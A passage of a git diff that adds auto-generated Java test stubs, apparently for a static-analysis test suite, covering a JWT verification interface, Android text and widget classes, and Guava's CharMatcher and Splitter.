+     * Require a specific Audience ("aud") claim. If multiple audiences are specified, they must all be present
+     * in the "aud" claim.
+     *
+     * If this is used in conjunction with {@link #withAnyOfAudience(String...)}, whichever one is configured last will
+     * determine the audience validation behavior.
+     *
+     * @param audience the required Audience value
+     * @return this same Verification instance.
+     */
+    Verification withAudience(String... audience);
+
+    /**
+     * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
+     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     *
+     * @param leeway the window in seconds in which the Expires At Claim will still be valid.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if leeway is negative.
+     */
+    Verification acceptExpiresAt(long leeway) throws IllegalArgumentException;
+
+    /**
+     * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
+     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     *
+     * @param leeway the window in seconds in which the Not Before Claim will still be valid.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if leeway is negative.
+     */
+    Verification acceptNotBefore(long leeway) throws IllegalArgumentException;
+
+    /**
+     * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
+     * This method overrides the value set with {@link #acceptLeeway(long)}.
+     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     *
+     * @param leeway the window in seconds in which the Issued At Claim will still be valid.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if leeway is negative.
+     */
+    Verification acceptIssuedAt(long leeway) throws IllegalArgumentException;
+
+    /**
+     * Require a specific JWT Id ("jti") claim.
+     *
+     * @param jwtId the required Id value
+     * @return this same Verification instance.
+     */
+    Verification withJWTId(String jwtId);
+
+    /**
+     * Require a claim to be present, with any value.
+     * @param name the Claim's name.
+     * @return this same Verification instance
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaimPresence(String name) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, Boolean value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, Integer value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, Long value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, Double value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, String value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Claim value.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, Date value) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Array Claim to contain at least the given items.
+     *
+     * @param name  the Claim's name.
+     * @param items the items the Claim must contain.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withArrayClaim(String name, String... items) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Array Claim to contain at least the given items.
+     *
+     * @param name  the Claim's name.
+     * @param items the items the Claim must contain.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException;
+
+    /**
+     * Require a specific Array Claim to contain at least the given items.
+     *
+     * @param name  the Claim's name.
+     * @param items the items the Claim must contain.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+
+    Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
+
+    /**
+     * Skip the Issued At ("iat") date verification. By default, the verification is performed.
+     *
+     * @return this same Verification instance.
+     */
+    Verification ignoreIssuedAt();
+
+    /**
+     * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
+     *
+     * @return a new JWTVerifier instance.
+     */
+    JWTVerifier build();
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/Editable.java b/java/ql/test/stubs/google-android-9.0.0/android/text/Editable.java
new file mode 100644
index 00000000000..8481739b1e4
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/Editable.java
@@ -0,0 +1,29 @@
+// Generated automatically from android.text.Editable for testing purposes
+
+package android.text;
+
+import android.text.GetChars;
+import android.text.InputFilter;
+import android.text.Spannable;
+
+public interface Editable extends Appendable, CharSequence, GetChars, Spannable
+{
+    Editable append(CharSequence p0);
+    Editable append(CharSequence p0, int p1, int p2);
+    Editable append(char p0);
+    Editable delete(int p0, int p1);
+    Editable insert(int p0, CharSequence p1);
+    Editable insert(int p0, CharSequence p1, int p2, int p3);
+    Editable replace(int p0, int p1, CharSequence p2);
+    Editable replace(int p0, int p1, CharSequence p2, int p3, int p4);
+    InputFilter[] getFilters();
+    static public class Factory
+    {
+        public Editable newEditable(CharSequence p0){ return null; }
+        public Factory(){}
+        public static Editable.Factory getInstance(){ return null; }
+    }
+    void clear();
+    void clearSpans();
+    void setFilters(InputFilter[] p0);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/GetChars.java b/java/ql/test/stubs/google-android-9.0.0/android/text/GetChars.java
new file mode 100644
index 00000000000..1dc6c89d470
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/GetChars.java
@@ -0,0 +1,9 @@
+// Generated automatically from android.text.GetChars for testing purposes
+
+package android.text;
+
+
+public interface GetChars extends CharSequence
+{
+    void getChars(int p0, int p1, char[] p2, int p3);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/InputFilter.java b/java/ql/test/stubs/google-android-9.0.0/android/text/InputFilter.java
new file mode 100644
index 00000000000..fb2fdc6441c
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/InputFilter.java
@@ -0,0 +1,10 @@
+// Generated automatically from android.text.InputFilter for testing purposes
+
+package android.text;
+
+import android.text.Spanned;
+
+public interface InputFilter
+{
+    CharSequence filter(CharSequence p0, int p1, int p2, Spanned p3, int p4, int p5);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/Layout.java b/java/ql/test/stubs/google-android-9.0.0/android/text/Layout.java
new file mode 100644
index 00000000000..94cb2378773
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/Layout.java
@@ -0,0 +1,83 @@
+// Generated automatically from android.text.Layout for testing purposes
+
+package android.text;
+
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Path;
+import android.graphics.Rect;
+import android.text.TextPaint;
+
+abstract public class Layout
+{
+    protected Layout() {}
+    protected Layout(CharSequence p0, TextPaint p1, int p2, Layout.Alignment p3, float p4, float p5){}
+    protected final boolean isSpanned(){ return false; }
+    public abstract Layout.Directions getLineDirections(int p0);
+    public abstract boolean getLineContainsTab(int p0);
+    public abstract int getBottomPadding();
+    public abstract int getEllipsisCount(int p0);
+    public abstract int getEllipsisStart(int p0);
+    public abstract int getLineCount();
+    public abstract int getLineDescent(int p0);
+    public abstract int getLineStart(int p0);
+    public abstract int getLineTop(int p0);
+    public abstract int getParagraphDirection(int p0);
+    public abstract int getTopPadding();
+    public boolean isRtlCharAt(int p0){ return false; }
+    public final CharSequence getText(){ return null; }
+    public final Layout.Alignment getAlignment(){ return null; }
+    public final Layout.Alignment getParagraphAlignment(int p0){ return null; }
+    public final TextPaint getPaint(){ return null; }
+    public final float getSpacingAdd(){ return 0; }
+    public final float getSpacingMultiplier(){ return 0; }
+    public final int getLineAscent(int p0){ return 0; }
+    public final int getLineBaseline(int p0){ return 0; }
+    public final int getLineBottom(int p0){ return 0; }
+    public final int getLineEnd(int p0){ return 0; }
+    public final int getParagraphLeft(int p0){ return 0; }
+    public final int getParagraphRight(int p0){ return 0; }
+    public final int getWidth(){ return 0; }
+    public final void increaseWidthTo(int p0){}
+    public float getLineLeft(int p0){ return 0; }
+    public float getLineMax(int p0){ return 0; }
+    public float getLineRight(int p0){ return 0; }
+    public float getLineWidth(int p0){ return 0; }
+    public float getPrimaryHorizontal(int p0){ return 0; }
+    public float getSecondaryHorizontal(int p0){ return 0; }
+    public int getEllipsizedWidth(){ return 0; }
+    public int getHeight(){ return 0; }
+    public int getLineBounds(int p0, Rect p1){ return 0; }
+    public int getLineForOffset(int p0){ return 0; }
+    public int getLineForVertical(int p0){ return 0; }
+    public int getLineVisibleEnd(int p0){ return 0; }
+    public int getOffsetForHorizontal(int p0, float p1){ return 0; }
+    public int getOffsetToLeftOf(int p0){ return 0; }
+    public int getOffsetToRightOf(int p0){ return 0; }
+    public static float DEFAULT_LINESPACING_ADDITION = 0;
+    public static float DEFAULT_LINESPACING_MULTIPLIER = 0;
+    public static float getDesiredWidth(CharSequence p0, TextPaint p1){ return 0; }
+    public static float getDesiredWidth(CharSequence p0, int p1, int p2, TextPaint p3){ return 0; }
+    public static int BREAK_STRATEGY_BALANCED = 0;
+    public static int BREAK_STRATEGY_HIGH_QUALITY = 0;
+    public static int BREAK_STRATEGY_SIMPLE = 0;
+    public static int DIR_LEFT_TO_RIGHT = 0;
+    public static int DIR_RIGHT_TO_LEFT = 0;
+    public static int HYPHENATION_FREQUENCY_FULL = 0;
+    public static int HYPHENATION_FREQUENCY_NONE = 0;
+    public static int HYPHENATION_FREQUENCY_NORMAL = 0;
+    public static int JUSTIFICATION_MODE_INTER_WORD = 0;
+    public static int JUSTIFICATION_MODE_NONE = 0;
+    public void draw(Canvas p0){}
+    public void draw(Canvas p0, Path p1, Paint p2, int p3){}
+    public void getCursorPath(int p0, Path p1, CharSequence p2){}
+    public void getSelectionPath(int p0, int p1, Path p2){}
+    static public class Directions
+    {
+    }
+    static public enum Alignment
+    {
+        ALIGN_CENTER, ALIGN_NORMAL, ALIGN_OPPOSITE;
+        private Alignment() {}
+    }
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/NoCopySpan.java b/java/ql/test/stubs/google-android-9.0.0/android/text/NoCopySpan.java
new file mode 100644
index 00000000000..1b0ea15236b
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/NoCopySpan.java
@@ -0,0 +1,8 @@
+// Generated automatically from android.text.NoCopySpan for testing purposes
+
+package android.text;
+
+
+public interface NoCopySpan
+{
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/ParcelableSpan.java b/java/ql/test/stubs/google-android-9.0.0/android/text/ParcelableSpan.java
new file mode 100644
index 00000000000..c074fc4c94e
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/ParcelableSpan.java
@@ -0,0 +1,10 @@
+// Generated automatically from android.text.ParcelableSpan for testing purposes
+
+package android.text;
+
+import android.os.Parcelable;
+
+public interface ParcelableSpan extends Parcelable
+{
+    int getSpanTypeId();
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/PrecomputedText.java b/java/ql/test/stubs/google-android-9.0.0/android/text/PrecomputedText.java
new file mode 100644
index 00000000000..e1121582fb9
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/PrecomputedText.java
@@ -0,0 +1,41 @@
+// Generated automatically from android.text.PrecomputedText for testing purposes
+
+package android.text;
+
+import android.graphics.Rect;
+import android.text.Spannable;
+import android.text.TextDirectionHeuristic;
+import android.text.TextPaint;
+
+public class PrecomputedText implements Spannable
+{
+    protected PrecomputedText() {}
+    public <T> T[] getSpans(int p0, int p1, Class<T> p2){ return null; }
+    public CharSequence subSequence(int p0, int p1){ return null; }
+    public PrecomputedText.Params getParams(){ return null; }
+    public String toString(){ return null; }
+    public char charAt(int p0){ return '0'; }
+    public float getWidth(int p0, int p1){ return 0; }
+    public int getParagraphCount(){ return 0; }
+    public int getParagraphEnd(int p0){ return 0; }
+    public int getParagraphStart(int p0){ return 0; }
+    public int getSpanEnd(Object p0){ return 0; }
+    public int getSpanFlags(Object p0){ return 0; }
+    public int getSpanStart(Object p0){ return 0; }
+    public int length(){ return 0; }
+    public int nextSpanTransition(int p0, int p1, Class p2){ return 0; }
+    public static PrecomputedText create(CharSequence p0, PrecomputedText.Params p1){ return null; }
+    public void getBounds(int p0, int p1, Rect p2){}
+    public void removeSpan(Object p0){}
+    public void setSpan(Object p0, int p1, int p2, int p3){}
+    static public class Params
+    {
+        public String toString(){ return null; }
+        public TextDirectionHeuristic getTextDirection(){ return null; }
+        public TextPaint getTextPaint(){ return null; }
+        public boolean equals(Object p0){ return false; }
+        public int getBreakStrategy(){ return 0; }
+        public int getHyphenationFrequency(){ return 0; }
+        public int hashCode(){ return 0; }
+    }
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/TextDirectionHeuristic.java b/java/ql/test/stubs/google-android-9.0.0/android/text/TextDirectionHeuristic.java
new file mode 100644
index 00000000000..b1ea24b5fa9
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/TextDirectionHeuristic.java
@@ -0,0 +1,10 @@
+// Generated automatically from android.text.TextDirectionHeuristic for testing purposes
+
+package android.text;
+
+
+public interface TextDirectionHeuristic
+{
+    boolean isRtl(CharSequence p0, int p1, int p2);
+    boolean isRtl(char[] p0, int p1, int p2);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/TextUtils.java b/java/ql/test/stubs/google-android-9.0.0/android/text/TextUtils.java
new file mode 100644
index 00000000000..bc31e7d558b
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/TextUtils.java
@@ -0,0 +1,75 @@
+// Generated automatically from android.text.TextUtils for testing purposes
+
+package android.text;
+
+import android.content.Context;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.text.Spannable;
+import android.text.Spanned;
+import android.text.TextPaint;
+import android.util.Printer;
+import java.util.List;
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+public class TextUtils
+{
+    protected TextUtils() {}
+    public static CharSequence commaEllipsize(CharSequence p0, TextPaint p1, float p2, String p3, String p4){ return null; }
+    public static CharSequence concat(CharSequence... p0){ return null; }
+    public static CharSequence ellipsize(CharSequence p0, TextPaint p1, float p2, TextUtils.TruncateAt p3){ return null; }
+    public static CharSequence ellipsize(CharSequence p0, TextPaint p1, float p2, TextUtils.TruncateAt p3, boolean p4, TextUtils.EllipsizeCallback p5){ return null; }
+    public static CharSequence expandTemplate(CharSequence p0, CharSequence... p1){ return null; }
+    public static CharSequence getReverse(CharSequence p0, int p1, int p2){ return null; }
+    public static CharSequence listEllipsize(Context p0, List<CharSequence> p1, String p2, TextPaint p3, float p4, int p5){ return null; }
+    public static CharSequence makeSafeForPresentation(String p0, int p1, float p2, int p3){ return null; }
+    public static CharSequence replace(CharSequence p0, String[] p1, CharSequence[] p2){ return null; }
+    public static CharSequence stringOrSpannedString(CharSequence p0){ return null; }
+    public static Parcelable.Creator<CharSequence> CHAR_SEQUENCE_CREATOR = null;
+    public static String htmlEncode(String p0){ return null; }
+    public static String join(CharSequence p0, Iterable p1){ return null; }
+    public static String join(CharSequence p0, Object[] p1){ return null; }
+    public static String substring(CharSequence p0, int p1, int p2){ return null; }
+    public static String[] split(String p0, Pattern p1){ return null; }
+    public static String[] split(String p0, String p1){ return null; }
+    public static boolean equals(CharSequence p0, CharSequence p1){ return false; }
+    public static boolean isDigitsOnly(CharSequence p0){ return false; }
+    public static boolean isEmpty(CharSequence p0){ return false; }
+    public static boolean isGraphic(CharSequence p0){ return false; }
+    public static boolean isGraphic(char p0){ return false; }
+    public static boolean regionMatches(CharSequence p0, int p1, CharSequence p2, int p3, int p4){ return false; }
+    public static int CAP_MODE_CHARACTERS = 0;
+    public static int CAP_MODE_SENTENCES = 0;
+    public static int CAP_MODE_WORDS = 0;
+    public static int SAFE_STRING_FLAG_FIRST_LINE = 0;
+    public static int SAFE_STRING_FLAG_SINGLE_LINE = 0;
+    public static int SAFE_STRING_FLAG_TRIM = 0;
+    public static int getCapsMode(CharSequence p0, int p1, int p2){ return 0; }
+    public static int getLayoutDirectionFromLocale(Locale p0){ return 0; }
+    public static int getOffsetAfter(CharSequence p0, int p1){ return 0; }
+    public static int getOffsetBefore(CharSequence p0, int p1){ return 0; }
+    public static int getTrimmedLength(CharSequence p0){ return 0; }
+    public static int indexOf(CharSequence p0, CharSequence p1){ return 0; }
+    public static int indexOf(CharSequence p0, CharSequence p1, int p2){ return 0; }
+    public static int indexOf(CharSequence p0, CharSequence p1, int p2, int p3){ return 0; }
+    public static int indexOf(CharSequence p0, char p1){ return 0; }
+    public static int indexOf(CharSequence p0, char p1, int p2){ return 0; }
+    public static int indexOf(CharSequence p0, char p1, int p2, int p3){ return 0; }
+    public static int lastIndexOf(CharSequence p0, char p1){ return 0; }
+    public static int lastIndexOf(CharSequence p0, char p1, int p2){ return 0; }
+    public static int lastIndexOf(CharSequence p0, char p1, int p2, int p3){ return 0; }
+    public static void copySpansFrom(Spanned p0, int p1, int p2, Class p3, Spannable p4, int p5){}
+    public static void dumpSpans(CharSequence p0, Printer p1, String p2){}
+    public static void getChars(CharSequence p0, int p1, int p2, char[] p3, int p4){}
+    public static void writeToParcel(CharSequence p0, Parcel p1, int p2){}
+    static public enum TruncateAt
+    {
+        END, MARQUEE, MIDDLE, START;
+        private TruncateAt() {}
+    }
+    static public interface EllipsizeCallback
+    {
+        void ellipsized(int p0, int p1);
+    }
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/TextWatcher.java b/java/ql/test/stubs/google-android-9.0.0/android/text/TextWatcher.java
new file mode 100644
index 00000000000..69bc3232df2
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/TextWatcher.java
@@ -0,0 +1,13 @@
+// Generated automatically from android.text.TextWatcher for testing purposes
+
+package android.text;
+
+import android.text.Editable;
+import android.text.NoCopySpan;
+
+public interface TextWatcher extends NoCopySpan
+{
+    void afterTextChanged(Editable p0);
+    void beforeTextChanged(CharSequence p0, int p1, int p2, int p3);
+    void onTextChanged(CharSequence p0, int p1, int p2, int p3);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/method/KeyListener.java b/java/ql/test/stubs/google-android-9.0.0/android/text/method/KeyListener.java
new file mode 100644
index 00000000000..c2df31452ab
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/method/KeyListener.java
@@ -0,0 +1,16 @@
+// Generated automatically from android.text.method.KeyListener for testing purposes
+
+package android.text.method;
+
+import android.text.Editable;
+import android.view.KeyEvent;
+import android.view.View;
+
+public interface KeyListener
+{
+    boolean onKeyDown(View p0, Editable p1, int p2, KeyEvent p3);
+    boolean onKeyOther(View p0, Editable p1, KeyEvent p2);
+    boolean onKeyUp(View p0, Editable p1, int p2, KeyEvent p3);
+    int getInputType();
+    void clearMetaKeyState(View p0, Editable p1, int p2);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/method/MovementMethod.java b/java/ql/test/stubs/google-android-9.0.0/android/text/method/MovementMethod.java
new file mode 100644
index 00000000000..a67d982a9e4
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/method/MovementMethod.java
@@ -0,0 +1,21 @@
+// Generated automatically from android.text.method.MovementMethod for testing purposes
+
+package android.text.method;
+
+import android.text.Spannable;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.widget.TextView;
+
+public interface MovementMethod
+{
+    boolean canSelectArbitrarily();
+    boolean onGenericMotionEvent(TextView p0, Spannable p1, MotionEvent p2);
+    boolean onKeyDown(TextView p0, Spannable p1, int p2, KeyEvent p3);
+    boolean onKeyOther(TextView p0, Spannable p1, KeyEvent p2);
+    boolean onKeyUp(TextView p0, Spannable p1, int p2, KeyEvent p3);
+    boolean onTouchEvent(TextView p0, Spannable p1, MotionEvent p2);
+    boolean onTrackballEvent(TextView p0, Spannable p1, MotionEvent p2);
+    void initialize(TextView p0, Spannable p1);
+    void onTakeFocus(TextView p0, Spannable p1, int p2);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/method/TransformationMethod.java b/java/ql/test/stubs/google-android-9.0.0/android/text/method/TransformationMethod.java
new file mode 100644
index 00000000000..2b68101173c
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/method/TransformationMethod.java
@@ -0,0 +1,12 @@
+// Generated automatically from android.text.method.TransformationMethod for testing purposes
+
+package android.text.method;
+
+import android.graphics.Rect;
+import android.view.View;
+
+public interface TransformationMethod
+{
+    CharSequence getTransformation(CharSequence p0, View p1);
+    void onFocusChanged(View p0, CharSequence p1, boolean p2, int p3, Rect p4);
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/text/style/URLSpan.java b/java/ql/test/stubs/google-android-9.0.0/android/text/style/URLSpan.java
new file mode 100644
index 00000000000..3c8ba92a4ef
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/text/style/URLSpan.java
@@ -0,0 +1,20 @@
+// Generated automatically from android.text.style.URLSpan for testing purposes
+
+package android.text.style;
+
+import android.os.Parcel;
+import android.text.ParcelableSpan;
+import android.text.style.ClickableSpan;
+import android.view.View;
+
+public class URLSpan extends ClickableSpan implements ParcelableSpan
+{
+    protected URLSpan() {}
+    public String getURL(){ return null; }
+    public URLSpan(Parcel p0){}
+    public URLSpan(String p0){}
+    public int describeContents(){ return 0; }
+    public int getSpanTypeId(){ return 0; }
+    public void onClick(View p0){}
+    public void writeToParcel(Parcel p0, int p1){}
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/widget/EditText.java b/java/ql/test/stubs/google-android-9.0.0/android/widget/EditText.java
new file mode 100644
index 00000000000..52d5a697457
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/widget/EditText.java
@@ -0,0 +1,29 @@
+// Generated automatically from android.widget.EditText for testing purposes
+
+package android.widget;
+
+import android.content.Context;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.text.method.MovementMethod;
+import android.util.AttributeSet;
+
+public class EditText extends TextView
+{
+    protected EditText() { super(null); }
+    protected MovementMethod getDefaultMovementMethod(){ return null; }
+    protected boolean getDefaultEditable(){ return false; }
+    public CharSequence getAccessibilityClassName(){ return null; }
+    public EditText(Context p0){ super(null); }
+    public EditText(Context p0, AttributeSet p1){ super(null); }
+    public EditText(Context p0, AttributeSet p1, int p2){ super(null); }
+    public EditText(Context p0, AttributeSet p1, int p2, int p3){ super(null); }
+    public Editable getText(){ return null; }
+    public boolean getFreezesText(){ return false; }
+    public void extendSelection(int p0){}
+    public void selectAll(){}
+    public void setEllipsize(TextUtils.TruncateAt p0){}
+    public void setSelection(int p0){}
+    public void setSelection(int p0, int p1){}
+    public void setText(CharSequence p0, TextView.BufferType p1){}
+}
diff --git a/java/ql/test/stubs/google-android-9.0.0/android/widget/Scroller.java b/java/ql/test/stubs/google-android-9.0.0/android/widget/Scroller.java
new file mode 100644
index 00000000000..cee54c16a86
--- /dev/null
+++ b/java/ql/test/stubs/google-android-9.0.0/android/widget/Scroller.java
@@ -0,0 +1,34 @@
+// Generated automatically from android.widget.Scroller for testing purposes
+
+package android.widget;
+
+import android.content.Context;
+import android.view.animation.Interpolator;
+
+public class Scroller
+{
+    protected Scroller() {}
+    public Scroller(Context p0){}
+    public Scroller(Context p0, Interpolator p1){}
+    public Scroller(Context p0, Interpolator p1, boolean p2){}
+    public boolean computeScrollOffset(){ return false; }
+    public final boolean isFinished(){ return false; }
+    public final int getCurrX(){ return 0; }
+    public final int getCurrY(){ return 0; }
+    public final int getDuration(){ return 0; }
+    public final int getFinalX(){ return 0; }
+    public final int getFinalY(){ return 0; }
+    public final int getStartX(){ return 0; }
+    public final int getStartY(){ return 0; }
+    public final void forceFinished(boolean p0){}
+    public final void setFriction(float p0){}
+    public float getCurrVelocity(){ return 0; }
+    public int timePassed(){ return 0; }
+    public void abortAnimation(){}
+    public void extendDuration(int p0){}
+    public void fling(int p0, int p1, int p2, int p3, int p4, int p5, int p6, int p7){}
+    public void setFinalX(int p0){}
+    public void setFinalY(int p0){}
+    public void startScroll(int p0, int p1, int p2, int p3){}
+    public void startScroll(int p0, int p1, int p2, int p3, int p4){}
+}
diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/base/CharMatcher.java b/java/ql/test/stubs/guava-30.0/com/google/common/base/CharMatcher.java
new file mode 100644
index 00000000000..bcc9a0f30b4
--- /dev/null
+++ b/java/ql/test/stubs/guava-30.0/com/google/common/base/CharMatcher.java
@@ -0,0 +1,53 @@
+// Generated automatically from com.google.common.base.CharMatcher for testing purposes
+
+package com.google.common.base;
+
+import com.google.common.base.Predicate;
+
+abstract public class CharMatcher implements Predicate<Character>
+{
+    protected CharMatcher(){}
+    public CharMatcher and(CharMatcher p0){ return null; }
+    public CharMatcher negate(){ return null; }
+    public CharMatcher or(CharMatcher p0){ return null; }
+    public CharMatcher precomputed(){ return null; }
+    public String collapseFrom(CharSequence p0, char p1){ return null; }
+    public String removeFrom(CharSequence p0){ return null; }
+    public String replaceFrom(CharSequence p0, CharSequence p1){ return null; }
+    public String replaceFrom(CharSequence p0, char p1){ return null; }
+    public String retainFrom(CharSequence p0){ return null; }
+    public String toString(){ return null; }
+    public String trimAndCollapseFrom(CharSequence p0, char p1){ return null; }
+    public String trimFrom(CharSequence p0){ return null; }
+    public String trimLeadingFrom(CharSequence p0){ return null; }
+    public String trimTrailingFrom(CharSequence p0){ return null; }
+    public abstract boolean matches(char p0);
+    public boolean apply(Character p0){ return false; }
+    public boolean matchesAllOf(CharSequence p0){ return false; }
+    public boolean matchesAnyOf(CharSequence p0){ return false; }
+    public boolean matchesNoneOf(CharSequence p0){ return false; }
+    public int countIn(CharSequence p0){ return 0; }
+    public int indexIn(CharSequence p0){ return 0; }
+    public int indexIn(CharSequence p0, int p1){ return 0; }
+    public int lastIndexIn(CharSequence p0){ return 0; }
+    public static CharMatcher any(){ return null; }
+    public static CharMatcher anyOf(CharSequence p0){ return null; }
+    public static CharMatcher ascii(){ return null; }
+    public static CharMatcher breakingWhitespace(){ return null; }
+    public static CharMatcher digit(){ return null; }
+    public static CharMatcher forPredicate(Predicate<? super Character> p0){ return null; }
+    public static CharMatcher inRange(char p0, char p1){ return null; }
+    public static CharMatcher invisible(){ return null; }
+    public static CharMatcher is(char p0){ return null; }
+    public static CharMatcher isNot(char p0){ return null; }
+    public static CharMatcher javaDigit(){ return null; }
+    public static CharMatcher javaIsoControl(){ return null; }
+    public static CharMatcher javaLetter(){ return null; }
+    public static CharMatcher javaLetterOrDigit(){ return null; }
+    public static CharMatcher javaLowerCase(){ return null; }
+    public static CharMatcher javaUpperCase(){ return null; }
+    public static CharMatcher none(){ return null; }
+    public static CharMatcher noneOf(CharSequence p0){ return null; }
+    public static CharMatcher singleWidth(){ return null; }
+    public static CharMatcher whitespace(){ return null; }
+}
diff --git a/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java b/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java
index 521b6a605a5..0575f99cffd 100644
--- a/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java
+++ b/java/ql/test/stubs/guava-30.0/com/google/common/base/Splitter.java
@@ -1,48 +1,35 @@
-/*
- * Copyright (C) 2009 The Guava Authors
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
- * in compliance with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software distributed under the License
- * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
- * or implied. See the License for the specific language governing permissions and limitations under
- * the License.
- */
+// Generated automatically from com.google.common.base.Splitter for testing purposes
 
 package com.google.common.base;
 
-import java.util.Iterator;
+import com.google.common.base.CharMatcher;
 import java.util.List;
 import java.util.Map;
+import java.util.regex.Pattern;
+import java.util.stream.Stream;
 
-public final class Splitter {
-
-  public static Splitter on(final String separator) {
-    return null;
-  }
-
-  public Splitter omitEmptyStrings() {
-    return null;
-  }
-
-  public Iterable<String> split(final CharSequence sequence) {
-    return null;
-  }
-
-  public List<String> splitToList(CharSequence sequence) {
-    return null;
-  }
-
-  public MapSplitter withKeyValueSeparator(String separator) {
-    return null;
-  }
-
-  public static final class MapSplitter {
-    public Map<String, String> split(CharSequence sequence) {
-      return null;
+public class Splitter
+{
+    protected Splitter() {}
+    public Iterable<String> split(CharSequence p0){ return null; }
+    public List<String> splitToList(CharSequence p0){ return null; }
+    public Splitter limit(int p0){ return null; }
+    public Splitter omitEmptyStrings(){ return null; }
+    public Splitter trimResults(){ return null; }
+    public Splitter trimResults(CharMatcher p0){ return null; }
+    public Splitter.MapSplitter withKeyValueSeparator(Splitter p0){ return null; }
+    public Splitter.MapSplitter withKeyValueSeparator(String p0){ return null; }
+    public Splitter.MapSplitter withKeyValueSeparator(char p0){ return null; }
+    public Stream<String> splitToStream(CharSequence p0){ return null; }
+    public static Splitter fixedLength(int p0){ return null; }
+    public static Splitter on(CharMatcher p0){ return null; }
+    public static Splitter on(Pattern p0){ return null; }
+    public static Splitter on(String p0){ return null; }
